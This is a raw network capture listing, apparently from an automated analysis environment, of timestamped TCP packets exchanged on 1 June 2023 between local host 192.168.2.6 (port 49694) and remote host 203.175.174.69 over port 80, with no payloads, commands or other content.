Jun 1, 2023 12:14:23.285648108 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285671949 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285693884 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285713911 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285715103 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285736084 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285758018 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285779953 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285804033 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285809040 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285825968 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285830021 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285847902 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285856962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285868883 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285886049 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285891056 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285912991 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285928965 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.285934925 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285955906 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285978079 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.285999060 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286019087 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286020994 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.286041021 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286046982 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.286062002 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286082029 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286107063 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286118984 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.286134005 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.286142111 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.286197901 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.453839064 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.453886986 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.453934908 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.453969002 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454000950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454031944 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454037905 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454060078 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454088926 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454109907 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454118013 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454148054 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454153061 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454178095 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454210043 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454231977 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454246044 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454262972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454283953 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454292059 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454324961 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454339027 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454355001 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454381943 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454381943 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454413891 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454440117 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454444885 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454476118 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454497099 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454507113 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454535961 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454566002 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454572916 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454606056 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454610109 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454637051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454665899 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454693079 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454705954 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454721928 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454755068 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454778910 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454808950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454837084 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454838037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454866886 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454895020 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454905987 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454922915 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454951048 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.454984903 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.454988003 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455017090 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455018044 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455061913 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455080032 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455090046 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455117941 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455146074 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455167055 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455174923 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455204964 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455214977 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455235004 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455271959 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455276966 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455300093 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455327988 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455342054 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455357075 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455385923 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.455423117 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.455480099 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623577118 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623619080 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623650074 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623680115 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623689890 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623713017 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623739958 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623740911 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623770952 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623799086 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623812914 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623847961 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623856068 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623858929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623888016 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623917103 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623924017 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.623948097 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.623977900 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624001026 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624010086 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624041080 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624104977 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624109030 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624109030 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624135971 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624166965 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624197960 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624228001 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624237061 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624277115 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624289989 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624357939 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624380112 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624407053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624437094 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624458075 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624469042 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624500990 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624521971 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624530077 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624557972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624583960 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624589920 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624630928 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624636889 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624664068 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624696016 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624716043 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624727964 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624757051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624784946 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624788046 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624819994 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624845028 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624851942 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624880075 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624922037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624937057 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.624953032 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624984026 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.624994040 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.625014067 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625035048 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.625046015 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625077963 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625103951 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.625129938 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625154972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625186920 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625196934 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.625217915 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625247955 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.625256062 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.625303030 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793137074 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793170929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793193102 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793216944 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793239117 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793262959 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793286085 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793312073 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793333054 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793340921 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793355942 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793378115 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793399096 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793405056 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793421984 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793435097 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793442965 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793458939 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793466091 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793488026 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793497086 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793514013 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793540001 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793543100 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793562889 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793589115 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793590069 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793620110 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793643951 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793654919 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793687105 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793721914 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793735027 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793759108 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793783903 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793787956 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793814898 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793847084 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793874025 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793879986 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793895960 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793915033 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793921947 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793937922 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793943882 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793962002 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.793988943 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.793991089 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794018030 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794039011 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794044971 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794061899 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794084072 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794087887 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794112921 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794132948 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794146061 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794176102 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794202089 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794226885 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794248104 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794258118 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794270992 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794295073 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794297934 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794316053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794337988 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794342995 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794358969 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794382095 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.794413090 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.794431925 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.962976933 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963010073 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963030100 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963052988 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963068008 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963080883 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963094950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963119030 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963134050 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963149071 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963170052 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963191032 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963191032 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963210106 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963232994 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963254929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963254929 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963274956 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963295937 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963298082 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963318110 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963324070 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963340998 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963361979 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963382006 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963382006 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963402987 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963418007 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963427067 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963453054 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963471889 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963471889 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963499069 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963504076 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963521004 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963541031 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963555098 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963560104 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963579893 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963586092 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963601112 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963622093 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963632107 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963643074 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963668108 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963686943 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963706970 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963727951 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963747978 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963768005 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963788986 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963815928 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963841915 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963867903 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963869095 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963890076 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963912010 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963912964 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963928938 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.963937998 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963962078 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.963982105 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964004993 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964035034 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964062929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964088917 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964109898 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964132071 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964154005 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964164019 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964168072 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964189053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964210033 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964234114 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964245081 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964257002 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964293003 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964293957 CEST	49694	80	192.168.2.6	203.175.174.69
